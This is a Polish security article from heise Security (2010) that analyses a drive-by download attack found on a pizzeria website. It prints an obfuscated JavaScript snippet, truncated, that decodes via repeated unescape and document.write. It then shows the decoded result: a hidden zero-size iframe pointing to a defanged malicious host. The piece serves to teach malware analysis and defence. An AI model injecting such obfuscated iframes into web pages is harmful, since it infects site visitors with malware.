heise Security

Bezpieczeństwo IT, artykuły i usługi heise Security

23 lipca 2010, 08:20


Powiększ
Thorsten Holz

Miejsce zbrodni: Internet

Odcinek 1: Alarm w internetowej pizzerii

Siadam przed komputerem i wpisuję adres strony ulubionej pizzerii w celu zamówienia pizzy, gdy nagle program antywirusowy informuje mnie o znalezieniu i unieszkodliwieniu backdoora. Zobaczmy, co się tak naprawdę stało.

Dziś jeszcze nic nie robiłem przy komputerze, a zazwyczaj staram się go utrzymywać w stanie wolnym od jakichkolwiek wirusów. Problem dotyczy więc prawdopodobnie strony, którą właśnie otworzyłem. Dlatego też pierwszą rzeczą, jaką robię, jest spojrzenie na jej kod źródłowy. Jeśli z witryny rzeczywiście został przypuszczony atak, w kodzie HTML muszą być wskazówki.

Po krótkich poszukiwaniach znajduję jakiś ślad; na końcu strony jest dziwny fragment kodu JavaScript:

<script>var c ='%25%33%43%69%66%72%61%6d%65[ ... ]%25%33%45';
var d=unescape(unescape(c));
document.write(unescape(d));
</script>

Na pierwszy rzut oka kod ten wydaje się zupełnie bez sensu. W rzeczywistości wielokrotnie przetwarza on długi łańcuch zakodowanych szesnastkowo znaków, używając javascriptowej funkcji unescape(), aby następnie wypisać na załadowanej już w przeglądarce stronie wynik jej działania z użyciem document.write. Typowy scenariusz ataku z wykorzystaniem nieświadomego pobierania zasobu (Drive-by Download)!


Zło czai się nie tylko w ciemnych zaułkach – coraz częściej pozornie niegroźne strony stają się źródłem ataków typu Drive-by download Powiększ
Jednak dlaczego strona internetowa może tak po prostu wysłać trojana na mój komputer? Przecież nawet niczego nie kliknąłem. Aby zrozumieć, co się właściwie dzieje, muszę jakoś dotrzeć do otwartej postaci kodu. W tym celu mógłbym zapisać rzeczoną stronę na systemie testowym i zastąpić polecenie wypisywania wywołaniem funkcji alert(). W takim wypadku przeglądarka zaprezentowałaby mi zdekodowany tekst w wyskakującym okienku powiadomienia. Ale to przecież mój prywatny komputer i nie chcę ryzykować. Kto wie, co może mieć jeszcze w zanadrzu ten podejrzany typ?

Postanawiam zatem pójść nieco trudniejszą, ale bezpieczniejszą drogą i korzystam z tworzonego przez Mozillę programu SpiderMonkey w celu uruchomienia kodu. Jednak gdy otwieram w nim problematyczny fragment JavaScriptu, otrzymuję komunikat o błędzie: "ReferenceError: document is not defined". Nie ma się co dziwić, gdyż obiekt document jest zdefiniowany jedynie w kontekście przeglądarki. Po zastąpieniu komendy document.write() przez wywołanie funkcji print() wszystko działa zgodnie z planem:

$ js 1.js
<iframe src="hxxp://tissot333.cn/eleonore/index.php" 
 width="0" height="0" frameborder="0">
</iframe>

A więc ktoś wprowadził do kodu strony mojej pizzerii pływającą ramkę (iframe) z odwołaniem do innej witryny. Prawdopodobnie wykorzystał w tym celu lukę w stosowanym na serwerze oprogramowaniu i wprowadził kod, np. przeprowadzając atak typu SQL Injection. Zerowa wysokość i szerokość ramki sprawiają, że jest ona na pozór niewidoczna – już zastosowanie takich wartości parametrów jest podejrzane.

  • Podziel się
  • Wykop.pl
  • StumbleUpon
  • del.icio.us
  • OSnews.pl